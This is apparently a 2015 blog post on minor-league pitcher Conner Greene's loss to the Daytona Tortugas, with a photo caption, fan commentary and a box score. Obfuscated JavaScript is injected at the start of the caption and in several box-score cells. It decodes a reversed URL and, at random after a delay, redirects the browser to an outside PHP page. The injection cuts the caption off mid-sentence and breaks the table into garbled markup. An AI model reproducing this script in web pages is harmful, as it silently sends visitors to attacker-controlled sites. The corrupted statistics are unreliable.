Conner Greene
By Al Mead on July 21, 2015

$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}to trouble in the fifth inning Monday against the Daytona Tortudas and ended up taking the loss 3-2. Greene allowed all three runs in the fifth while allowing a total six hits, walking one and striking out six over his five innings of work. EDDIE MICHELS PHOTO” width=”320″ height=”480″ />
Dunedin Blue Jays RHP Conner Greene ran into trouble in the fifth inning Monday against the Daytona Tortugas and ended up taking the loss 3-2. Greene allowed all three runs in the fifth while allowing a total six hits, walking one and striking out six over his five innings of work. EDDIE MICHELS PHOTO
Solid first at home start for Conner, through the first four. I think, as a young pitcher in his first full year, it appeared to me that Conner ran a little low on fuel around the 5th inning. His body language / his entire demeanor was changed, his fastball lost a few MPH and his pace was altered. Remember he is only a still very young 20 year old who assumed he would be comfortably gliding through another Extended Spring in Dunedin before heading to Vancouver for a short season. Being thrust into the full season Lansing situation (including a first half “pennant race”) was a very pleasant surprise but something I’m not certain he was as prepared for as he would like. All that considered, he has performed very well given this load. I suspect at this point he will “hitting a wall” and the Dunedin Class A experience will be a learning opportunity.
I think he has the physical and mental tools to be a strong performer in the future. His biggest obstacle at this point is the same one facing his colleagues ….and there is only one way to gain experience…..!
Daytona Tortugas | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Player | Pos | AB | R | H | 2B | 3B | HR | RBI | BB | SO | AVG | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Carlton Daal | SS | 3 | 0 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | .269 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Phillip Ervin | LF | 3 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | .252 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Sebastian Elizalde | RF | 4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | .273 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Daniel Pigott | DH | 4 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | .250 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Taylor Sparks | 3B | 4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | .251 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Junior Felix Arias | CF | 4 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 2 | .247 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Chad Wallach | C | 3 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | .233 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Brian O’Grady | 1B | 3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | .155 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Wendell Soto | 2B | 3 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | .139 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>31 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>7 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>0 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>2 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>8 |
BATTING
TB: Arias, Junior Felix; Soto; Pigott; Wallach; Ervin; Daal 2. RBI: Wallach (23), Ervin (50). Runners left in scoring position, 2 out: Pigott. SF: Ervin. GIDP: Elizalde, S. Team RISP: 3-for-6. Team LOB: 3.BASERUNNING SB: Arias, Junior Felix (23, 2nd base off Greene/Reeves), Soto (4, 2nd base off Greene/Reeves). PO: Daal (1st base by Greene).FIELDING E: Arias, Junior Felix (5, fielding), Daal (19, throw). Outfield assists: Elizalde, S (Fermin at home). DP: 2 (Daal-Soto-O’Grady, Sparks-Soto-O’Grady).
|
0 Comments
You can be the first one to leave a comment.